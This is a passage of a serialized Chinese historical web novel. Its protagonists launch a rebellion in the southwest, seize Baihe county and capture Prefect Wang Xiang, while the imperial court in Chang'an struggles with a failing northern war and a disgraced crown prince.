“可阵前换将是大忌,眼下朝廷也没出一个厉害的将军,这仗要怎么打?” 这个问题朝廷连续讨论了三日,皇位上的广运帝都一言不发,这个节骨眼上退兵议和是不成的,冬日突厥那边正缺物资,这时候和谈必然要被狮子大开口。 但要是能拖延一段时日,等到开春,一切就有转圜的余地。 可要拖延,这仗就不得不打下去,朝廷这边是出兵援驰还是不出兵,也没个说法,不光边关等的着急,连带着太子都急切的想知道广运帝是什么打算。 第104章 “胡闹。”别泓在书房痛斥太子, 先前别老大人特意叮嘱太子不要插手出兵的事,太子也答应的好好的,没成想转脸就闹了个大的。 “父亲息怒, 眼下事情已经到这一步, 还是想想怎么帮太子在陛下跟前消火。” 太子私下抓了陛下宠臣家眷, 要求这些宠臣在陛下跟前劝说撤兵, 却不想这些宠臣哪会是在意家庭的人,转头就在陛下跟前告状。 如今东宫上上下下都挨了罚,连带着太子都被禁足,眼下还不清楚什么时候能放出来。 “如何消火?满朝文武都不同意继续出兵,陛下依旧一意孤行, 太子公然和陛下唱反调不说, 还威胁陛下看重的宠臣, 没有当即废了太子的位置,已是陛下强忍怒火了。” 更何况太子从来是做错了事不认的, 这会子就是别泓亲自去东宫要太子向陛下认错服软,没准太子还要反过来怪罪别泓, 有这样的主子, 别家能忍到今天已经是仁至义尽。 “那咱们就这么看着, 等战事过去, 太子早晚还是要被陛下记起来, 咱们不帮忙,太子必然是要记仇的。”太子这条贼船, 别家被硬拉着上了,想要下船可没那么容易。 “怎么帮?就是我豁出老脸去陛下跟前求恩典,只怕陛下也不屑一顾。”太子行事彻底惹恼了别泓,好歹别家也是长安有名有姓的世家, 虽比不上大世家,但真对上,大世家也要掂量掂量别家的分量。 自从别家辅佐太子,没有一天不尽心尽力的,反观太子,脑子拎不清,轻信小人,对别家还多有看不上。 目前太子还不是君,别泓有意要重新考虑别家的站队了。 别洵松叹气,父亲发火不愿出面,但太子那头估计是要叫人过来请别家出马,别家不管不顾,容易闹的里外不是人。 “从今日起,别家全家都称病不上朝,同时闭门谢客,谁来了也不招待。”别泓下定决心,下面的子辈孙辈自然是有听话的份。 别家称病的消息传入皇宫,广运帝近来和朝臣一直较量,脾气大的很,听闻别家行事,却难得笑出了声。 “别泓这个老狐狸,看来是被朕的蠢儿子气的不轻。”太子这回做的事,哪怕是广运帝都不得不承认人当真是个蠢货,也不知他和梓潼都是一等一的聪明人,怎么生出来的儿子半点没继承他们的聪慧。 “太子尚年轻,犯些错也正常的。”金公公自然不会顺着广运帝说太子的坏话,自然了,他也不会说太子的好话。 “年轻?常言道三十而立,太子也年满三十了,行事还是如此鲁莽,朕如何放心将偌大的江山交给他?哼,老二和老七瞧着都比他顺眼。” 在太子之位选择上,金公公一贯是不发言的,毕竟选谁都像是他收了钱替人办事。 “这次事的确给朕敲了个警钟,太子的位置是要再好好考虑一番才是。” 金公公低头,但心中大骇,大皇子在太子位置上这么多年,也没少犯错,但凭借先皇后的情分,陛下都只是斥责,这也叫其他皇子看的牙痒痒。 没成想到了这个节骨眼,竟然起了废太子的心思。 广运帝想要废太子的消息没能传出去,因为广运帝只在金公公跟前透露自己想法,废太子的消息一传出去,这么明摆着告诉广运帝是金公公给外臣通气吗? 更不说眼下朝廷是个烂摊子,大败后,广运帝准备再征兵征粮,似乎颇有一股不撞南墙不回头的气势。 冬日突然加征兵粮,叫原本才过了年关的百姓一个个叫苦不迭,但朝廷下了令,敢违抗命令的,都要拉去杀头。 有远见的都知道,征兵令一下,大部分青壮都要被送去北面送死,不少地方豪强就趁这个机会大肆买卖人口。 应州本就是下州,人口不多,征兵令虽然下过来了,但在群龙无首的情况下还真没几个县令执行。 尚柒和别此云都打算趁这个机会造反了,更不会说要向百姓征兵,就算征也是给他们征,朝廷可没这个沾光的机会。 “东家那边有消息,咱们可以行动了。”蔺肃等这一刻等了好久,终于能向天下广而告之他们的反贼的身份,整个兴奋的不得了。 樊泊点头,自从东家有意出兵白鹤县,整个军营的兵丁都处于战时状态,就是想着随时都能点兵出征。 “明日我就点兵,后勤粮草之事还望蔺管事多操心。” “没问题,我等着樊将军的好消息。” “定不负所托。” …… 樊泊出兵之际,尚柒和别此云还在礼县未归,要说这个除夕在礼县过的实在热闹,别此云几乎没有歇息的时候,整日都有新人拜访。 每个见到别此云的来客,都忍不住夸一夸人,其中有不少非要跟着家里人过来的小姑娘小哥儿,见着别此云更是立刻红了眼眶,直到离开一句话都没说。 尚乌桕和尚南枝自然是知道怎么回事,这些特意过来拜访的小姑娘小哥儿从前都爱慕阿兄,有不少县里的富户还请了媒人跟阿兄说过亲。 “原来对阿兄贼心不死的哥哥姐姐有这么多。”尚乌桕小声嘀咕。 “登门的只是少部分,还有没登门的,真要加起来,能从长平村排到礼县。”尚南枝在礼县也跟着阿兄打理过生意,接触了不少和尚家有生意往来的人,并不觉得意外。 “阿兄还是太招蜂引蝶了,得亏别哥哥不在意,不然每日见这么多情敌,别哥哥必要气出个好歹来。” “别哥哥是阿兄正经八抬大轿娶回来的,过来拜访的姑娘哥儿大部分也就见过阿兄一两面,阿兄都不认识,哪里算得上情敌。” “话虽如此,但我要是别哥哥,肯定不会开心。” 尚南枝想了想,的确:“那等会就跟管家说一声,之后若是有带自家姑娘哥儿过来的客人,都引去偏厅,我们替别哥哥和阿兄接待。” “是个办法,我这就去说。” 还不知道两个小的要帮他们分担压力的尚柒和别此云是真的有些累了,虽说是来客说恭维话恭维他们,但一口气见的人多了,也难保不觉得疲惫。 “这样下去,半个月咱们都要被困在家里。”对于来客里有许多对尚柒倾慕的姑娘哥儿,起初别此云还有心情在意一二,但见得多了,别说在意,只怕连他们父母是谁都记不住。 “明日起闭门谢客好了。”想见的人都见了,尚柒不认为他会为了一点拒绝他人的尴尬,就让此云跟着受苦。 “好啊,咱们除了除夕那日安稳的吃了个团年饭,还都没好好吃过饭呢。” 尚家除夕一惯是吃火锅,尚柒专门请了木工师傅打了吃火锅的桌子,先前也没想着带去清平县,倒是放在仓库积了一年灰。 “想吃什么?” “有些想吃鱼了,这个天还有新鲜的鱼吗?” “西南的河很难结冰,冬日也能捕鲜鱼,以前除夕村里百姓还讲究年年有余,特意买一条大鱼回去,吃一半,等过了除夕才将另一半上桌。” “长安百姓也有这个习惯,不知今年长安的除夕是否过得安生。” “多半安生不了。”有广运帝这个越老越作妖的皇帝在,长安必然安生不了,“前儿不是收到信,说北面的战事大败了吗?” 说起战事,别此云难免叹气:“好好的安生日子不过,非要打一场仗,也不知皇帝是不是老了都容易糊涂。” 历史上有多少场战役,就是因为一个错误的决定引起的,偏后来人没一个吸取教训的。 若是这次战事全线崩溃,大历的寿命不知道要缩减多少年,想必大历开国皇帝这会正在地下急的冒烟,想要教训这些不肖子孙。 “不是广运帝,也会是下一个皇帝,你看广运帝的这些皇子,连广运帝都比不上,到时候荣登皇位,也会被人撺掇出兵。” “你说的对,这次咱们出兵白鹤县,正好能够截胡征来的兵力,不知王刺史会不会求援王家。” “求援也来不及,王氏的人远在中原,千里迢迢过来帮西南收拾战乱,除非王家想要做皇帝。”不然这就是个吃力不讨好的事,再一个王刺史既然和王家生了龃龉,必不会向王家卑躬屈膝,不然凭借王刺史的名声和身份,至于在西南这个穷苦地蹉跎吗? “我倒是期望王家来往,世家大族培养了很多人才,比起咱们重头开始,挖他们的墙角才是硬道理。”尤其是没有出头机会的姑娘哥儿,生在世家,学的东西也不是简单的三从四德,就别此云所见,多的是姑娘哥儿想要冒头,却苦于没有机会,只能在后院将就人生。 “比起和咱们没有关系的王家,你怎么不打谢家的主意?” “怎么,你打算撺掇谢琅将他的兄弟姊妹送来西南?” “我想没用,也要谢琅愿意才是。” 说着,尚柒和别此云对视,似乎有了什么坏主意,叫二人心有灵犀的勾起嘴角。 第105章 新年刚过, 白鹤县县令就收到上头指派征兵加税的消息,若只是加税,白鹤县的百姓还不至于怨声载道, 因为比起西南其他县城, 白鹤县百姓谋生的手段多, 又因为外来客不少, 平日总能挣几个钱。 “当真不能拿钱免兵役?”县里小槐巷一户人家正为兵役发愁。 “不能,征兵的告示上专门写了,我也问过衙门的官差,说是北面战事紧,都花钱消灾了, 哪还有人去战场。” “就是晓得是上战场, 大家伙才想要花钱, 不然平日去州府服兵役,有几个人家是舍得花钱消灾的。”府兵服役要五年, 比徭役长多了,且就在州府内, 没有太大危险, 也比徭役要轻松, 大部分百姓都是选择服兵役的。 “当家的, 咱们家三个孩子, 虽说年纪都够了,但老大孩子才出生, 老二马上要成亲了,老三刚过征兵的年纪,可不能送去战场送死。” 一旁的老汉闻言,只沉默不语的抽着旱烟, 三个儿子都有出息,叫哪个投兵都舍不得。 “我去吧。”老汉拿出烟管,他也一把年纪了,家里孩子都养大了,也不需什么顶梁柱,他走了家里孩子定然也亏待不了老婆子。 “什么话,你多大岁数了,投兵只怕还没走到战场就没了,我舍不得儿子送死,难道就舍得你去送死了。” “那你说怎么办?阖家卖身为奴?好好的清白人家,平日有手有脚,只要不得罪有钱有势的人,自家关门过小日子比什么都强,真要是为了逃兵役全家都去当奴,一家子的性命就都在别人手上了。” 老汉的话叫一家人都沉默了,眼下能逃过兵役的办法就是卖给豪强当奴婢,但当奴婢能有什么好下场? “要不,你和孩子们都去山里躲躲?” “我们走了,官差为难你们怎么办?” “衙门的官差虽然说不上好,但也不至于和咱们动手。” “大家伙都跟你一个想法,上头人凑不齐,你看他们动不动手。” 这也不行那也不行,打征兵告示贴出来后,白鹤县大部分百姓都彻夜难眠,而衙门的官差压力也大,毕竟人要是征不齐,县令只会拿他们试问。 眼瞧着情况越演越烈,说不得什么时候百姓还要起冲突闹事,就迎来惊天转折。 事情发生的时候是夜里,白鹤县的城门到了晚上也是要关门的,按说夜里县里的兵丁该要执勤,但县衙多年没遇上什么土匪进城,府兵们早懈怠了。 名头上担着执勤的幌子,实则在城门口附近搭的小屋鼾睡,总归城门这样高,一般百姓哪能翻出去。 为此,城门口的铁爪搭上来的时候,没一个人发现。 城门下,先遣部队已经利索的爬上墙,等人到里头把城门打开,都没见谁冒出头阻止。 “将军,咱们名正言顺出征怎么还比不上先前偷偷摸摸剿匪来的激烈,地方兵竟然这样懒散。”从前禁军营的汉子咂摸着嘴,不敢置信的走进城门里。 要说之前过来的时候,樊将军还和下面的领队们私下商议了几次如何应对攻城的突发情况。 毕竟大家伙都没实战经验,还是跟了东家才有剿匪的机会,但西南的土匪质量也不成器,打两下就歇菜了。 原说县城怎么也有一座城墙,不至于这么快拿下,结果门都大摇大摆被他们打开了,县里没一个发现的。 樊泊冷着脸,心底可能也跟从前禁军营的兄弟一样恨铁不成钢,但能不费吹灰之力拿下一座县城,是好事。 于是夜里都在发愁的白鹤县百姓听见街上传来人群走动的声音,纷纷冒头看是不是衙门准备趁夜里大家伙都在家抓人去服兵役,谁料是乱军打进来了。 一时间县里的百姓也不想有的没的,手脚利索的已经开始收拾家当,打算趁乱军行动的时候逃走,没成想每条街都有人守着,外头的兵丁见着他们出来,还把他们轰进屋,说是没有命令不许出来。 霎时间,整个白鹤县都人心惶惶,征兵的事还没解决,怎么就遇上攻城的乱军了,没听说西南哪里有人起义,且好端端的怎么盯上白鹤县了。 直到天亮,蔺肃被迎进白鹤县县衙,瞧着被从床上绑了的白鹤县县令,好心情的喝了一口清茶。 还得是尚家的茶叶好喝,时下的茶汤滋味古怪的很,若喝习惯了也就罢了,但谁叫东家把茶叶炒出来了。 “县衙已经控制住了,各村也派了人手驻扎,短时间内不会叫外人发现白鹤县被占。”攻战白鹤县的事他们计划了很长时间,眼下事成自然也是滴水不漏。 “被人发现也没什么,目前还是集中管理白鹤县的百姓。”蔺肃早就准备和王刺史对一对了,听闻王刺史从前声名在外,是个有本事的人,蔺肃自问也结实过不少厉害人物,能在东家手里出头的,没一个傻的,但还没遇见过外面有本事的人,希望这位王刺史不会叫他失望。 樊泊点头。 翌日清晨,整个白鹤县还没谁心大的睡着,不过乱军入城后,没有烧杀抢掠,只在城里守着,虽还是免不得人心惶惶,但比起立马被杀头又要好些。 西南从来不是太平地方,有老人是经历过叛军入城的,别说一家子,就是整座城能活下来的人都没几个。 “也不晓得这支乱军打哪儿来。”一家子被关在屋里,免不得对外面的乱军议论。 “你管人打哪儿来,我可在门缝里远远看着,个个都身着盔甲,手里的长枪也蹭亮,不敢轻易对上。”时下百姓吃饱都是问题,有几个是能打的?平日见官差都腿软,真遇上兵匪只有跪地求饶的份。 “也不知道要把咱们关到什么时候,以前乱军进城,哪里还管城里的人怎么样,遇见活的就杀,遇见屋子就烧,粮食带不走的也不给留下,全撒路上叫马蹄踏过糟蹋了。” 这话一出,满屋子的人没一个敢说话。 “爹,往好处想,乱军来了,咱们也没被杀,征兵的事也能躲过去了。”家里大郎苦中作乐的说。 “是啊,征兵的事是躲过去了。”老汉喃喃道,可谁又说的准究竟是征兵更危险还是眼下乱军更危险。 衙门的人处理后,蔺肃开始有条不紊的整理县衙门的资料,最要紧的肯定是鱼鳞册和黄册,先要把白鹤县的人口和土地统计了,才能进行下一步。 “蔺管事,下面的人禀报,说是县里几位富户想要见见你。”和一般百姓一样,县里的富户也怕死,往日乱军入城这些富户是头一个遭殃的。 一夜过去,乱军不光没入府抢人抢钱,只在外守着,又叫这些富户起了心思,看能不能和乱军的头子谈判,只要能用钱买命一切都好商量。 “我没去找他们,他们反而先来找上我了。”蔺肃发了几条令下去,“叫他们过来衙门,我的确想和他们谈谈。” …… 尚柒从礼县回清平县的功夫,白鹤县已经彻底到手,只是眼下西南还没人知情,倒是黄谷县的邹县令派人过来询问征兵的事。 “邹小哥儿过年回了趟家,自打和邹县令说了清平县没打算征兵,就发现邹县令情况不对,私底下观察了几日,只说人神情恍惚,回来就汇报给我了。” “看来邹县令终于是察觉不对了。”尚柒得到消息不意外。 “咱们都把黄谷县全全收入手中了,邹县令这会才后知后觉,未免警惕性太差。”这点就比不上自家哥儿了。 眼下衙门做事的人都不算尚家原本的人,尚柒没有透露他们的打算,但邹清负责整个清平县,能在蛛丝马迹中发现有一大批粮食禽肉从清平县送出去,也不是不可能。 “先前他大抵以为我嫌一个县全力不够大,所以才要取黄谷县的管辖权。”现在他明摆着抗旨不遵,再不往造反上想,该要怀疑邹县令是如何考中做官的。 “白鹤县一拿下,咱们在西南活动就不必束手束脚。” “西南眼下还具有威胁的,就是西南边军了,不过眼下咱们截住朝廷和西南边军的通路,拿不到朝廷的命令,西南边军怕也不敢私自出兵。” “那东家下一步打算做什么?” “自然是占领西南全境,朝廷眼下自顾不暇,正是发展的好机会,也可以趁这个机会,将咱们的旗帜打出去。” 尚柒已经定了他们这支军队名为玄甲军,眼下名声不显,真要入兵中原,大部分人必会负隅顽抗,但等玄甲军的名声传遍大历再入主中原,必会少不得有人投诚。 仗能少打一点就少打一点,到底打仗是要死人的。 “那东家什么时候才名正言顺的出任这支军队的首领。” “不急。”如今起家,别看大部分都是他在负责,其实只是此云不喜欢在衙门做事,真要论起来这次谋反的主谋其实是此云,不是他。 第106章 “白鹤县还没人来州府送人和粮食?”王襄翻看盘州各县城送来的征兵名册和税银, 微皱起眉头。 “不曾有人来,大人是否要派人去白鹤县催一催?”白鹤县是整个盘州的纳税大县,年年都是赶早送秋税到盘州城, 便是加税, 比起其他县城, 白鹤县也该是最不为难的。 但眼下除开两个实在人丁稀疏的县还没来人外, 只剩白鹤县目前没动静。 “遣人走一趟,陛下这次下令催的急,不好叫白鹤县一个县城耽误整个州府的大事。” 王刺史虽然不满朝廷突然征兵加税,但圣旨都下下来了,他也没有反抗的余地。 这事尽快办完, 才算是把烫手山芋给丢出去, 要是迟迟办不好, 谁知道上头那位会不会借机生事。 “是。” 接下来几日,王刺史都没得到去白鹤县的人回来, 若是再没有察觉到不对,王襄也爬不到今日的位置。 “召集府兵, 白鹤县出事了。”且事情不小, 迄今为止, 盘州城都没有发现有白鹤县人来求援。 要么整个白鹤县已经被屠, 要么被控制了, 但看他派去的人没有回来,多半白鹤县是被控制了。 “大人, 这时候召集府兵,朝廷那边要怎么应对。”陛下还等着他们给送人和粮食过去呢,府兵一动,岂不是耽误陛下大事。 “白鹤县都被占了, 你还担心陛下。”王襄冷眼一瞥,眼下要是不赶紧去白鹤县探明情况,指不定过几日整个盘州都落入贼人手里,连性命都保不住。 手下的人摸不着王襄为何如此说,但到底还是照做,刺史能够召集整个州府的府兵,盘州的府兵大约有一万人左右,分到各个县的人数不多,大部分都驻扎在盘州城,想要召集并不难。 只是这些府兵多是过来服役的民兵,平日训练多有懈怠,真要他们打仗,只怕也就是唬唬人还行。 若白鹤县真是被一支乱军占据,王襄对这支乱军抱有很高的评价,毕竟人能够将白鹤县被占的消息控制的滴水不漏,如果不是这次陛下要求征兵加税,恐怕他短时间还不知白鹤县的情况。 这样心思缜密的对手,不可能是小打小闹的土匪,这支乱军图谋必然不小。 …… 和外人担忧白鹤县的情况不同,打玄甲军占据白鹤县后,县里县外都发生了很大变化。 其一就是县里富户的地都被低价卖给玄甲军了,其二玄甲军重新统计各家各户的人口和土地,连县里住宅也都一一清算出来。 不过玄甲军并未对百姓出手做什么,反而是挨家挨户通知,若有冤屈可去衙门击鼓告状,玄甲军必然会秉公处理从前的冤假错案。 通知的兵丁还说,错过这次机会,日后旧事重提,玄甲军便不认了。 最开始百姓们自然将信将疑,敢去衙门击鼓鸣冤的人一个没有,但蔺肃也不是完全没有应对之法,毕竟东家在清平县也给他打了个样。 如何叫百姓敞开心扉?不过是缺一个领头羊,只需一个人站出来,自然就有第二个第三个,人嘛都有个从众心理。 “原以为白鹤县富裕,情况怎么都比清平县要好一些,但谁能想到这些日子前来击鼓鸣冤的百姓几乎要把县衙门的门栏踩塌了。”禄石近来在县里指挥安保,可算是见识了什么叫天下乌鸦一般黑,这大历就没有清明的地方。 “长安作为天子脚下,还多的是冤死的孤魂野鬼,更不提远在天边的西南。”樊泊能理解,想想他自己,若非是东家仁义,明知他拒绝的情况还给他送药治病,只怕他也是长安被冤死的亡魂之一。 禄石乐呵笑出声:“起初我等同意随东家造反,也是怕东家灭口,哪想竟跟了一位明主,禁军里都还有克扣兵丁饷银的武官,玄甲军内却难得清明。” “还是军法立的好,加上东家说到做到。”军法那里都有,樊泊也是熟读不少朝代的兵法,他不敢说东家建议的兵法一定是最好的,但能说到做到已经胜过无数军队。 仅凭这点,东家未来的出息必然不会限于一城一地。 “近来城外可还有过来探听消息的人?”王襄派来的人,一到白鹤县地界就被巡逻的兵丁抓了。 “未曾,按说前面的人迟迟不归,该要再派人过来打探才是,我还专门叮嘱了巡逻的兵丁,遇上外来人一概不要放过。” 才翻春不久,来往白鹤县的生意人也不多,但有一个算一个,到了白鹤县,短时间是出不去的。 樊泊沉思片刻,道:“我去找蔺管事。” …… “看来王襄比我们想象的要果决。”尚柒看过白鹤县来信,忍不住赞叹。 “他当年能名满长安,说明不是泛泛之辈,眼下能够当机立断召集兵马到白鹤县,也不意外。” “只是对双方战力没有准确的判断。”时下一座县城想要攻下来的确不难,毕竟大部分百姓也都出不上力,小一点的县城,不足百人都能攻破抢夺。 白鹤县是大县,单是能够控制住白鹤县不叫消息外漏,就该清楚占据白鹤县的人绝不简单,召集兵马不错,但王襄错就错在没有出兵前打听清楚白鹤县到底有多少兵马。 贸贸然领兵过来,除了给他们送人手,再没别的用处。 “要是能够拿下王襄和近一万人马,白鹤县的封锁也可以暂时解开,但西南之地,还是只能进不能出。” 虽说西南没有按时送兵力和税银去长安,必然会引起广运帝怀疑,但能拖延一段时日也是好的。 “蔺肃信里说,樊泊已经做好全拿下的准备,白鹤县地盘也不小,不过这一万兵马有多少能留下不好说。” 和平王养了几年的私兵不一样,这府兵多是没什么战斗力,过一段时日盘州和应州就会渐渐进入他们的控制,真要增兵肯定还是贴告示更合适。 “玄甲军的饷银丰厚,必会有人前来参军,眼下咱们需要注意的,还是长安那边的动向。” —————————— 增兵去边境的事已经一锤定音,各地送来的税银和兵丁也陆陆续续到了长安,这回广运帝没等人齐了再出发,毕竟军情紧急,等大部分兵丁到长安后,就遣了新将军出发。 自打上回来报边境连失三城,还没有其他消息传回来,但也不是说没有消息就是最好的消息。 朝廷不少人担忧边境情况比实际来报要更危险,只是马将军怕担责任,故意瞒报,但这事没有亲眼见过,谁也不好说到底是个什么情况。 军中必然是有陛下的眼线,既然陛下还在长安稳坐泰山,不少人又觉得前线的情况不至于太困难。 和广运帝不一样,长安的大世家反倒一改之前的淡定,悄摸的分批遣人离开长安,大世家都有发源的祖地,比起在长安扎根,祖地肯定更安全。 谢琅和新婚夫郞崔渠也被安排要去谢家祖地避难,但谢琅不想离开。 一来他的大部分产业都在长安,一离开也寻不到人接手,二来淮阳和长安距离实在不算远,长安真要被攻破了,就算人在淮阳也要尽快南下,不如直接从长安往南去。 “话虽如此,但谁也说不好突厥会不会攻入长安,真要是打来的匆忙,从淮阳逃命肯定比从长安逃命要容易些。” “娘,突厥人入关再快也需要时间才能到长安,眼下陛下都没有着急,咱们擅自行动,必会叫陛下惦记上。”谢琅认为,论怕死皇帝肯定比他们这些世家还要怕死。 “陛下也有糊涂的时候,你也不是没听到边境连失三城的事,想来这三座城也不是一口气被拿下的,其中定然隔了些时日,但直到连失三城消息才入长安,而陛下根本没有提前准备,匆忙下令征兵征税,可见陛下对边关的掌控没有咱们想象的多。” 谢琅听完他娘语重心长的话,也知他娘的担忧,从眼下看,长安的确不是久留之地。 “那你和兄长他们什么时候走?”父亲肯定是走不了,这个节骨眼父亲真要是离开,广运帝肯定头一个过来找麻烦。 “我便不走了,留下来陪你父亲,至于你的几个兄弟,能外放我打算叫你父亲安排外放出去,到时候情况有变,也好轻易辞官离开。” 留在长安要辞官,还要过问陛下的意思,一家子大部分人突然辞官,陛下必然不会同意。 “你和父亲已经和祖地通过气了?”谢琅不想回祖地还有一层,就是因为如今祖地他们这一脉的人不多,都是旁支在帮忙打理。 谢家主脉搬迁到长安,就是有意扎根在长安,祖地虽然不会放弃,但族中重心肯定还是在长安。 “自然,虽说你们自幼在长安长大,但也时常回祖地祭拜,且咱们家是谢家的主脉,不必怕回去看人脸色。” “我知道了。”谢琅已经开始想着要如何安排长安剩下的产业。 第107章 “刺史大人, 前去探查的斥候来报,白鹤县戒备森严,乱军在边界驻扎, 只是目前不清楚有多少人。” 王襄调兵遣将并未花费多少功夫, 正好加税收来的粮食也在盘州城, 虽说动了这笔粮没法和陛下交代, 但西南生了乱军,还在他治下,若在长安无暇顾及的时候不出面平乱,事后追责是少不了他的。 “派人叫阵,料想他们人数不会太多。”想要藏下几万兵马不是容易的事, 首要的就是西南治下人口数量不多, 少几千人或许还不足以引起上面注意, 但少几万人,必不会一点察觉不到。 每年秋税送去长安, 长安没发现异常,说明西南不可能短时间出现一支几万人的大军。 再一个, 乱军选择攻打白鹤县而不是盘州城, 也能说明其人手不足。 白鹤县虽是盘州重要的县城, 但有能力打下盘州城更好, 这支乱军多半只有几千兵马。 数量他占优势, 至于乱军是否能打,还要见过真招才知道。 樊泊早收到盘州城大军过来白鹤县的消息, 不过不足万人的队伍他没放在眼里,因为双方兵马强度不在一个层次,东家给他们回信,叫他们最好生擒近万人和领头的王襄。 既要生擒, 战场上你捅我一刀我捅你一刀的见真章打发就不合适,最好的办法是将这近万人围困住。 他既然早一步得到消息,自然有了一个瓮中捉鳖的主意。 “王襄不是蠢货,但想来也没真的带过兵,这一局多半是输了。”蔺肃在后方同王成思说话。 “本也没有胜算,樊泊虽没有正儿八经打过仗,但你我都晓得,厉害的将军不光勇猛,还要能使士兵令行禁止,玄甲军正是这样的军队。”他们人数的确不占优,但质量实在高,这要是输了,还造什么反。 “赢了也有赢了的难处,近万人要安置在白鹤县,每日消耗的粮草就不是小数。” 虽说东家的意思是不必将这一万人全留下,但一说要把这些人放回去,必然是没有愿意留下的。 总要先给这些府兵看看在他们玄甲军做事有什么好处,才能吸引人留下为己所用。 “正好将西南其他州府收来的兵力和税粮一块缴获,想来是能撑一段时日。”其他州府要送人和粮出西南,盘州是必要经过的,不然就只能走翻山越岭的土路,而东西到了他们地盘,没道理便宜皇帝。 “亏得去岁东家叫清平县的百姓种了双季稻,又建了粮仓储蓄,不然只能花钱买粮。”地方豪强肯定不缺粮食,尚家即便是开销不起还有别公子,怕就怕这些豪强以为拿捏了他们的软处,把尾巴翘到天上去了。 “白鹤县多数田地都归公,只要天候好,今年秋后必是个大丰收,到时候还能征更多兵力。”兵力一旦增多,他们就能彻底拿下应州和盘州,将西南地势最靠近中原的两州控制住,基本上就切断了西南和中原的联系。 这时候要控制整个西南,也不过是时间问题。 白鹤县内,百姓还不知盘州城的大军过来了,虽然街上随处可见玄甲军的身影,但他们已经不在害怕。 也没谁打算逃走,这会还不是人人能出远门的时候,只在西南做生意的商人都有可能在路上遇难,更不提寻常百姓。 左右日子还如从前一样过,且玄甲军来了,街上还比往日太平,甚至人玄甲军还主持给县里修路,已经有不少人将玄甲军看做是自己人了。 当然,县里也不是没有愁眉苦脸的人,白鹤县在商路中心,冬日西南也和北面不一样,虽冷但不至于江河结冰,有些想赚钱的生意人还是咬着牙出门。 白鹤县被围,刚到白鹤县歇脚的商人也都被留下了,起先他们都住的客栈,但日日开销,小商人也撑不住。 好在玄甲军清理了县里的房产,腾出不少无主的屋子,等收拾好就暂时给他们住了,可究竟什么时候能离开,也没给准话。 “家里还等着我回去呢,便是不能走,也叫我给家里传封信回去,报个平安也好。”几个商人瑟缩着围在一处唠嗑。 “想来玄甲军还不信任我等,也怕传信出去走漏了他们占据白鹤县的风声。” “便是我等不说,难道整个盘州就一点察觉不了?”若是盘州其他县还有可能,白鹤县常年商路往来,切断了联系瞒不了多久。 “兄台还是先放宽心,比起其他乱军玄甲军已经不错了,不光没要我等的性命,也没动咱们的货,甚至有他们想要的,还给咱们钱买下,只是暂时出不去,总比丢了性命强。” 常年在西南做买卖的人,自然也是见识过大场面,就说眼下几位商人,必然有认识的同行折在做生意的路上,他们眼下有吃有喝,还有遮风避雨之处,比横尸荒野强多了。 “话虽这么说,但咱们出不去,只能在此地坐吃山空,早晚钱是要花尽的。” 其他人闻言,也觉得是个问题,商人本性,不少爱财之人甚至愿意丢了性命都不肯交出钱财。 这会子没了性命之忧,可不想方设法又打主意在钱上。 “白鹤县眼下没什么做生意的门路,但我瞧着乱军在西南这么多州府不选,偏选中白鹤县,肯定也是看重白鹤县是西南周转中原的商路,恢复也是早晚的事。” “但愿如此。” 县内有人欢喜有人愁,县外正打的火热,起先王襄之派人过去试探,想看看乱军究竟有多少人,哪想派去试探的人都跟肉包子打狗一样,一去不回。 继续试探下去也没有意义,要么对方兵力强过他,他兵败被俘,要么对方虚张声势,强攻可迅速拿回白鹤县。 无论是输是赢,他都没有选择的余地,此刻退兵,乱军早晚会打到盘州城,他即便向长安求援,短时间也等不到援兵。 西南边境的边军他调不动,如此想要逃过乱军围捕,只能弃城而逃。 王襄自认为不是那等贪生怕死的小人,做不出弃城而逃的举动,与其等着乱军打过来等死,不如现在拼一把,或许还有赢的余地。 “吩咐全军整装,全面攻打白鹤县。” —————————— 清平县。 “公子,白鹤县传来消息。” “算时间,该是拿下盘州府兵了。”别此云自信白鹤县出不了岔子,看过信:“我们手中还有多少粮食?” “粮尽数有的,打去岁开始,咱们在应州的生意扎根后,便分了一分部人手在西南做粮食生意,单是从豪强手中买卖得来的粮食,已经足够万人大军三年的开销。” “卖粮的豪强可有察觉什么不对。” “并未,咱们从豪强手里收来的粮食不过他们手中九牛一毛,再一个咱们做整个西南的粮食生意,粮只要运出城,当地豪强也不会关注粮食究竟运到什么地方去了。” 有粮行这个幌子,除开朝廷没人细究大部分粮食究竟去了哪里,而在西南,朝廷也管不到粮行身上。 “遣人先送一批粮草到白鹤县。” “是。” 琴砚一走,别此云停下手中的正事,盘算他和尚柒多久能彻底控制西南。 西南大乱的事迟早都会传入长安,或许太子和皇帝关注不到他和尚柒身上,但他爹娘阿兄必然会想办法派人过来接他和尚柒离开西南。 或许他也该想想办法,让别家尽早到西南来,好绝了大历要挟他的筹码,可要怎么劝说爹娘连带着家里人过来西南是个问题。 …… 长安。 “萧家大部分子弟也离开长安了。”别洵松一直观察长安动向,见大世家一个个避如蛇蝎般逃窜,心底也开始惶恐。 比起别家靠大历起家,大世家都是经历了几代朝廷,若是没有保命的法子早就在历史里消失的无影无踪。 别泓不言,眼下说大世家叫自家弟子回祖地会得罪了皇帝,也起不了什么作用,等哪日突厥真的打过来,皇帝又不能保住他们的命。 “遣人去北面打探的消息怎么样了?”别家根基都在长安,祖籍也有,但两百年没怎么回去,顶多逢年过节给祠堂添点香火,现在回去也没地容纳整个别家。 “眼下还没消息回来。” “继续盯着,真要是有什么变故,也好提前做准备。” “此云眼下在西南,咱们若是南下,是否要通知他们从西南和咱们汇合。”真要是进入乱世,相隔两地基本上是天人永隔了。 “暂时不必,眼下什么都还没发生,不好贸贸然传信过去。”不说把人吓的人心惶惶,单是叫有心人发现,转头到陛下跟前告他们一个危言耸听的罪名,别家还能落得有好? 如今还不是乱世,皇帝说话还有分量。 第108章 王襄一副浑不在意的模样坐在牢里, 他年轻时也做过狂生,并不像一般世家子弟拘小节,便是下狱也能展现世家风度。 说来他也不年轻了, 距离不惑之年不远, 原以为这辈子都要在盘州刺史上蹉跎, 没想到有朝一日, 竟会有这样的变故。 “王刺史,我们管事有请。”说话的人身着甲胄,看模样也是乱军中一员。 王襄起身掸了掸衣裳,便大刀斧阔的跟着来人出了地牢。 蔺肃烹茶以待,见王襄过来, 起身相迎。 “早闻王刺史大名, 今日一见果真不同凡响。”就凭作为阶下囚也不卑不亢的态度, 也能叫人高看几分。 因为明眼人都能看出来,王襄不是故作姿态。 “我却孤陋寡闻, 未曾听闻贵军的名号。”几千人将他近万人打的溃不成军,最后以生擒结束, 对手绝不该是籍籍无名之辈。 “王刺史客气, 莫说刺史第一次听我军的名头, 